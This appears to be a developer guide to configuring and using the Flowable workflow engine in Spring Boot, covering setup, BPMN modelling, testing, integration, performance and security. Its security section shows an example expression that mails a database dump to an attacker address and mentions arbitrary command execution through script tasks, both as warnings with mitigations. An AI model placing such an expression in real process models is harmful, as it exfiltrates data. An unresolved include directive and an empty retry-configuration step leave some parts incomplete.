Flowable in Spring Boot: Installation and Configuration
1. Dependencies
To integrate Flowable with Spring Boot, add the following starters to your build:
implementation 'org.flowable:flowable-spring-boot-starter:7.1.0'
implementation 'org.flowable:flowable-spring-boot-starter-rest:7.1.0'
implementation 'org.flowable:flowable-spring-boot-starter-actuator:7.1.0'
These starters will auto‑configure the ProcessEngine, CmmnEngine, DmnEngine and IdmEngine, as well as all Flowable services (RuntimeService, TaskService, etc.).
2. Configuring the Flowable ProcessEngine
Implement EngineConfigurationConfigurer<SpringProcessEngineConfiguration> to inject your Flowable DataSource and any additional engine settings:
Unresolved include directive in modules/ROOT/pages/flowable.adoc - include::../../src/main/java/com/friendly/provisionportal/config/FlowableProcessEngineConfigurer.java[]
-
setDataSource(…)points Flowable at yourflowableDataSourcebean. -
setDatabaseSchemaUpdate(DB_SCHEMA_UPDATE_TRUE)enables automatic schema creation/update (switch toDB_SCHEMA_UPDATE_FALSEin production). -
setAsyncExecutorActivate(false)disables the async job executor if you prefer manual activation or external job handling. -
setApplicationContext(…)lets Flowable integrate with Spring-managed beans (delegates, listeners, etc.).
With these steps, Flowable will use your MySQL datasource and schema settings as defined in your Spring Boot application.
3. Auto‑deployment of Processes
By default, the Flowable Spring Boot starter will automatically deploy your process models on application startup. It performs the following scans on the classpath:
-
classpath*:/processes/— BPMN files with extensions.bpmn20.xmlor.bpmn -
classpath*:/cases/— CMMN case model files -
classpath*:/dmn/— DMN decision table files
Any matching resources will be deployed to the engine at launch. In the startup logs you may see messages such as:
No deployment resources were found for autodeployment.
The default deployment name is SpringBootAutoDeployment.
To enable auto‑deployment, place your process definitions in src/main/resources/processes/ (and the analogous folders for CMMN/DMN).
If you prefer to manage deployments yourself, for example, to avoid repeated deployments on each node in a cluster, you can disable auto‑deployment:
flowable.check-process-definitions=false
4. Initialization and Basic Example
Once you have added the Flowable starters and configured your datasources, you can inject and use the Flowable services directly via Spring’s auto‑wiring.
4.1. Autowiring the Services
In any Spring component, simply inject the RuntimeService and HistoryService:
private final RuntimeService runtimeService;
private final HistoryService historyService;
4.2. Starting a Process Instance
Assuming you have a BPMN file in src/main/resources/processes/ with a <process id="provisioningStarter" …> definition, you can launch a new instance like this:
private static final String PROCESS_NAME = "provisioningStarter";
Map<String, Object> variables = new HashMap<>();
// populate variables…
ProcessInstance processInstance = runtimeService.startProcessInstanceByKey(PROCESS_NAME, variables);
This call will start your process with the given key and attach the provided variables.
4.3. Retrieving a Variable from a Completed Process
After the process completes, you can query the historic variable by name:
Object responseValue = historyService
.createHistoricVariableInstanceQuery()
.processInstanceId(processInstance.getId())
.variableName(FlowableVariables.RESPONSE_VAR)
.singleResult()
.getValue();
// Cast or map to a response type
BaseResponse result = (BaseResponse) responseValue;
This retrieves the value of RESPONSE_VAR that was stored during process execution.
5. Process Structuring
Design your BPMN 2.0 diagrams with clarity and logic in mind. Follow these principles:
-
Keep diagrams readable and logically ordered.
-
Break down complex processes into sub-processes or extract repeating flows into call activities.
-
Apply the DRY (Don’t Repeat Yourself) principle by reusing common flows via separate reusable models.
-
Avoid overly complex diagrams. It’s better to use several connected, simpler models than one giant monolithic process.
|
Use collapsed sub-processes for high-level grouping and call activities to reuse process chains across models. |
5.1. Naming BPMN Elements
Consistent and descriptive naming greatly improves model readability:
-
Use verb + object naming for tasks. Examples:
Verify Application,Send Notification -
Write names in active voice and avoid technical jargon — use business-friendly terminology.
-
For events, especially end events, describe the resulting state. Examples:
Application Approved,Processing Error -
Gateways (especially exclusive ones) should be phrased as conditions or questions. Example:
Approved?
|
Consistent naming conventions help both business users and developers quickly understand the model’s intent. |
5.2. Annotations and Documentation
BPMN supports embedded documentation — use it:
-
Add comments using BPMN
Annotationelements for complex logic areas. -
Fill out the
documentationattribute for tasks and flows. These are stored in Flowable and can be extracted for documentation generation.
|
Annotations do not affect execution but clarify the process logic. |
5.3. Process Versioning
Flowable assigns a new version to a process model upon each deployment (if the process ID remains the same):
-
Never change the process ID (key) unless you are intentionally creating a new process.
-
Keeping the same ID ensures Flowable versioning works correctly:
-
New instances will use the latest version.
-
Existing instances continue with the previous version.
|
Use version control (e.g., Git) for BPMN models just like for source code. |
5.4. Deploying a New Version
-
Active instances of the old version do not migrate automatically.
-
For manual migration, use the Flowable Migration API.
-
Aim for backward compatibility whenever possible.
Exclusive Gateway with a default flow for existing instances:
[Approved?]
├── Yes → Notify Approval
├── No → Notify Rejection
└── (default) → Skip Notification
6. Logic vs. Model Complexity
Balance what’s modeled in BPMN vs. what’s handled in code:
-
Use BPMN for orchestration — defining the flow, interactions, and services.
-
Use Java Delegates, Listeners, or DMN for:
-
Business logic
-
Complex conditions
-
Reusable rules
|
Avoid embedding complex expressions or scripts directly in BPMN models. Keep logic maintainable and testable in code. |
6.1. Model Validation and Debugging
Before deploying a model:
-
Ensure each flow path has an end event.
-
Assign correct performers to user tasks.
-
Name variables meaningfully and consistently.
-
Validate the BPMN using your modeling tool, or check Flowable logs during deployment.
|
Invalid BPMN can cause runtime exceptions, such as: - Unknown task type - Broken sequence flows - Missing end events |
-
Always define a default flow for exclusive gateways.
-
Anticipate boundary cases: What if no condition matches? What happens with missing data?
7. Tips and Tricks for Beginners
This guide offers essential advice for developers beginning their journey with Flowable, particularly when using Flowable Design Cloud (Free Trial) to create BPMN processes. It focuses on practical usage patterns, common mistakes, and integration best practices.
7.1. Start with Flowable Design Cloud
If you’re new to Flowable, the best way to begin modeling is using Flowable Design Cloud (Free Trial) — a modern, cloud-based graphical modeler. This tool provides an intuitive web interface for building BPMN 2.0 processes visually. Once your process is designed, you can export it as a BPMN XML file and include it in your Spring Boot application for deployment.
| Skip flowable-modeler.war. Focus on using the Design Cloud for quicker onboarding and seamless export of BPMN definitions. |
7.2. Always Use delegateExpression in Service Tasks
When linking BPMN service tasks with Java logic, avoid using flowable:class. Instead, use Spring beans and delegateExpression: • Define your delegate as a Spring component:
@Component
@RequiredArgsConstructor
public class MyDelegate implements JavaDelegate {
private final SomeService someService;
public void execute(DelegateExecution execution) {
// business logic here
}
}
-
Reference the bean in BPMN using:
<serviceTask id="task1" flowable:delegateExpression="${myDelegate}" />
| Using delegateExpression ensures proper Spring DI — otherwise, injected fields will be null. |
7.3. Verify Bean Names in Expressions
Expressions like ${myBean} refer to Spring bean names. If such a bean is missing, Flowable throws a runtime error.
-
Explicitly define bean names using @Component("name") or via @Bean methods.
-
Do not confuse delegateExpression with method calls like ${myService.doSomething()} — these invoke a method directly via Expression Language and are better suited for simple logic.
7.4. Make Long-Running Tasks Asynchronous
By default, Flowable executes service tasks in a single thread and transaction. If a task fails, all previous steps in the same transaction are rolled back.
To improve fault isolation and retry behavior:
-
Mark service tasks as asynchronous in the model.
-
Async tasks commit the previous state and are scheduled separately — allowing retry from the failed task only.
| Async tasks are especially useful in long-running or IO-heavy processes. |
7.5. Control Retry Attempts
Flowable retries failed async jobs by default up to 3 times. You can configure this:
7.6. Debugging and Logs
To understand process behavior:
-
Use HistoryService to inspect completed tasks and variables.
-
Enable audit history level in configuration.
In local dev setups, you can connect to the embedded H2 database and explore tables like ACT_HI_TASKINST, ACT_HI_PROCINST, etc., using tools like H2 Web Console.
8. Testing BPMN Processes and Java Delegates
This guide provides practical techniques for testing BPMN processes and Java delegates using Flowable, covering both unit and integration tests in JUnit 4, JUnit 5, and Spring Boot contexts.
8.1. Unit Testing BPMN Processes with Flowable Engine
Flowable allows in-memory execution of process definitions directly within unit tests — no full application context required.
8.2. Isolated Testing of Java Delegates
Java delegates (JavaDelegate) can be tested independently of Flowable. Since their execute(DelegateExecution execution) method does not require the engine to run, you can mock DelegateExecution using libraries like Mockito.
@Test
void testExecute() {
ProvisionDevice device = new ProvisionDevice();
device.setMacAddress("mac");
when(execution.getVariable(DEVICE_VAR, BaseDevice.class)).thenReturn(device);
deletePreviousByMacDelegate.execute(execution);
verify(provisionService, times(1)).deletePreviousByMac(device.getMacAddress());
}
This is a lightweight and fast approach to validate delegate behavior without starting the process engine.
8.3. Integration Testing of BPMN Processes
To validate a complete process flow — including delegates, listeners, and conditionals — run full integration tests with deployed process definitions.
-
Define a test BPMN model with a service task referencing your delegate via flowable:delegateExpression.
-
Deploy the model during the test.
-
Start the process and validate results via RuntimeService, HistoryService, or variable assertions.
ProcessInstance processInstance = runtimeService.startProcessInstanceByKey("testProcess");
Boolean result = (Boolean) runtimeService.getVariable(processInstance.getId(), "foo");
assertTrue(result);
This method simulates real execution and is useful for validating full logic flows.
8.4. Testing in Spring Boot Context
Alternatively, use @SpringBootTest to test processes within a full Spring Boot context:
-
Enables real REST API calls, Spring-managed beans, and auto-configured ProcessEngine.
-
Can use embedded H2 DB, transaction rollbacks, and controller testing.
These tests are heavier but realistic, ensuring full behavior from API to DB.
8.5. Simulating Branches and Complex Scenarios
For processes with multiple branches or decision points:
-
Write multiple JUnit test cases to simulate different input combinations.
-
Use TaskService to programmatically complete tasks with custom variables.
This allows simulation of long-running or multi-step processes within a single test.
| Use unit tests for logic, and integration tests to validate entire process flows. Combine both for robust coverage. |
9. Integrating Flowable Processes with REST and SOAP
This guide covers strategies for integrating Flowable processes with external REST and SOAP services, including making outbound service calls, handling responses and errors, exposing processes to external systems, and using asynchronous patterns.
9.1. Calling External REST Services from BPMN Processes
Modern workflows often orchestrate external systems through REST APIs. In Flowable, there are multiple options to perform these calls:
9.1.1. Service Task + JavaDelegate (Flexible)
Use a custom JavaDelegate to invoke REST endpoints via Java HTTP clients (e.g. RestTemplate, WebClient).
@Component("restCaller")
public class RestCallerDelegate implements JavaDelegate {
public void execute(DelegateExecution execution) {
String url = "https://api.example.com/data";
ResponseEntity response = restTemplate.getForEntity(url, String.class);
execution.setVariable("responseBody", response.getBody());
}
}
-
Supports GET/POST, headers, and custom logic.
-
Handle status codes and timeouts.
-
On failure, either throw BpmnError or set a variable indicating the issue.
9.1.2. HTTP Task (Declarative)
Flowable provides a native HTTP Task element:
-
Configure directly in the modeler.
-
Define URL, method, headers, body mappings.
-
Supports asynchronous execution.
-
Saves response data as process variables.
| Configure HTTP Task to handle non-2xx statuses appropriately. Flowable can treat specific codes as errors and raise exceptions. |
9.2. Calling SOAP Web Services
While BPMN has no built-in SOAP element, you can:
-
Use a JavaDelegate to call a generated SOAP client (e.g., JAX-WS or WebServiceTemplate).
-
Abstract SOAP logic behind a Spring bean.
Recommendations:
-
Use asynchronous tasks for network calls.
-
Set timeouts in clients.
-
Catch and process exceptions properly.
9.3. Processing and Transforming Responses
After calling an external service:
-
Use Java code (Jackson, JAXB) to parse JSON/XML and store values in process variables.
-
Optionally use a Script Task (e.g., Groovy) to parse response data.
def json = new groovy.json.JsonSlurper().parseText(responseBody)
execution.setVariable(“orderId”, json.id)
-
Use Java for type-safety and better testability;
-
Use scripts for quick inline transformations.
9.4. Asynchronous Integration Patterns
If external services are slow or batch-oriented:
-
Send request.
-
Continue the process.
-
Wait for callback via Receive Task or message event.
-
External system calls Flowable’s REST endpoint to resume the process.
-
Useful for REST, SOAP callbacks, or message-based integration (e.g. Kafka).
-
| Set up a REST controller or use Flowable’s Event Registry to accept and correlate external callbacks. |
9.5. Handling Errors from External Calls
External calls may fail — Flowable supports robust error handling:
9.5.1. Boundary Error Events
Attach a Boundary Error Event to a service or HTTP task: • Delegate throws new BpmnError("ERROR_CODE"). • Boundary catches and redirects the flow (e.g., retry, notify operator).
Example:
try {
callExternalService();
} catch (TimeoutException e) {
throw new BpmnError("SERVICE_TIMEOUT");
}
Use error codes for known business errors (e.g., “NOT_FOUND”, “REJECTED”). Avoid using BpmnError for every technical exception.
9.6. Exposing Flowable to External Systems
You can enable external systems to start processes or complete tasks.
9.6.1. Option 1: Use Flowable REST API
-
Add flowable-spring-boot-starter-rest.
-
Access endpoints like:
-
POST /process-api/runtime/process-instances
-
GET /process-api/runtime/tasks
-
-
Secure the API (Spring Security or Flowable IDM).
9.6.2. Option 2: Custom REST Controllers
-
Create your own endpoints (e.g., POST /api/orders/{id}/startWorkflow).
-
Inside, call:
runtimeService.startProcessInstanceByKey("orderProcess", businessKey, variables);
Benefits:
-
Encapsulation of business logic.
-
Easier validation, DTO mapping, and transaction management.
-
Aligns API with business domain.
| Wrap process starts in Spring transactions if combining with database actions. |
9.7. SOAP Services as Event Sources
Legacy systems may notify via SOAP — implement a SOAP endpoint, (e.g., using Spring Web Services):
-
Extract process ID or business key.
-
Resume the process via runtimeService.trigger() or complete the pending task.
9.8. Summary of Integration Best Practices
-
Prefer asynchronous calls for external interactions.
-
Use timeouts in all clients.
-
Handle known errors with BpmnError + Boundary Error Events.
-
Use JavaDelegate for flexibility, HTTP Task for simplicity.
-
Expose processes safely via secured REST APIs or custom endpoints.
-
Structure callback handling to support SOAP, REST, or messaging.
| Flowable treats all external calls the same — REST, SOAP, or message — as long as your application manages the orchestration logic. |
10. Performance and Security Recommendations for Using Flowable
10.1. Performance
10.1.1. Hardware Resources and Scaling
Flowable Engine is stateless, allowing horizontal scalability. Multiple instances can share the same database and distribute the workload. Ensure the database is powerful enough, as it often becomes the bottleneck under high load.
-
Allocate sufficient CPU and RAM to JVM.
-
Use appropriate JVM settings: monitor GC, set -Xms/-Xmx (recommend at least 4–8 GB for large workloads).
-
Monitor performance metrics and scale horizontally when needed.
-
Configure async executors to allow distribution of jobs across nodes via DB locks.
10.1.2. Database Tuning
-
Use Read Committed transaction isolation (default for Flowable) to avoid performance degradation.
-
Tune the connection pool (HikariCP is default): increase maximum-pool-size if many threads operate concurrently.
-
Monitor hikari_active_connections – if it regularly hits the limit, consider increasing pool size.
10.1.3. Async Executor Tuning
-
Configure properties like flowable.process.async.executor.core-pool-size and max-pool-size.
-
Set flowable.async.executor.max-jobs-per-acquisition to control how many jobs are fetched per cycle.
-
Increase thread pool size carefully – monitor DB load and transaction concurrency.
10.1.4. Disable Unused Modules
Disable modules like CMMN or DMN if not used:
flowable.cmmn.enabled=false
flowable.dmn.enabled=false
This improves startup and reduces resource usage.
10.1.5. History Level Optimization
-
Use audit instead of full for production unless detailed logging is required.
-
none disables history completely — not recommended unless safe.
-
Async history offloads history writing to a separate thread, improving throughput (up to 96% in tests).
Configure in ProcessEngineConfiguration. Note: async history is eventually consistent.
10.1.6. Caching and Session Management
-
Control the definition cache with flowable.process.definition-cache-limit.
-
Split long chains of tasks into async segments to reduce memory usage and flush execution context.
10.1.7. Profiling and Query Analysis
-
Profile for bottlenecks, avoid unfiltered task queries like taskService.createTaskQuery().list().
-
Use filters and indexed fields.
-
Consider adding indexes if querying by custom variables frequently.
10.1.8. Cleaning Up Historical Data
-
Archive or delete history records periodically to prevent slow report/export queries.
-
Use historyCleaningManager or scheduled batch scripts to remove data from ACT_HI_* tables.
-
Flowable 6.7+ has better support for asynchronous history cleanup (manual setup in OSS).
10.1.9. Queue-Based Scaling
Flowable 6.4+ supports messaging-based async executors (e.g., RabbitMQ, Kafka):
-
Offload job execution to worker services.
-
Suitable for extreme workloads (tens of thousands of TPS).
-
Requires setup of message brokers and orchestration.
For most cases, well-configured built-in executors and proper application scaling are sufficient.
10.2. Security
10.2.1. Expression and Script Execution
Expressions can access any Spring bean. A malicious user could call arbitrary methods if they can deploy a process:
${mailService.send("attacker@example.com", dumpDatabase())}
Mitigation:
-
Restrict who can deploy BPMN models.
-
Include BPMN definitions as application resources.
-
Review models before promoting to production.
-
Enterprise version provides controlled design and deployment pipeline.
Script tasks (e.g., Groovy) are even riskier:
-
Can execute arbitrary code (Runtime.getRuntime().exec(…)).
-
Ensure flowable.process.enable-safe-xml=true (prevents XML parsing attacks, not script execution).
10.2.2. Data Encryption and Confidentiality
-
Encrypt sensitive variables before storing them as process variables.
-
Avoid storing secrets in process variables — even transient ones.
-
Use HTTPS for all Flowable REST communications.
10.2.3. Preventing SQL Injection
Flowable’s Java APIs are safe, but be cautious with:
-
NativeQuery
-
Raw SQL via ManagementService
Sanitize input and use parameterized queries.
10.2.4. Updates and Security Patches
-
Stay updated with new Flowable versions.
-
Example: Flowable 6.8 supports Spring Boot 3 and Jakarta EE.
-
Replace dependency versions in your build tools (e.g., Maven/Gradle).
10.2.5. Multi-Tenancy
-
Use tenantId for logical separation:
repositoryService.createDeployment().tenantId(“ClientA”)
-
Filter queries by tenantId.
-
For strict isolation: use schema-per-tenant or deploy separate Flowable instances.
| Implement model validation in CI — e.g., check for ScriptTask usage or unsafe expressions before deployment. |
Flowable is mature and secure when configured properly. Limit access, audit deployments, encrypt sensitive data, and verify all process interactions. Always test security boundaries before going live.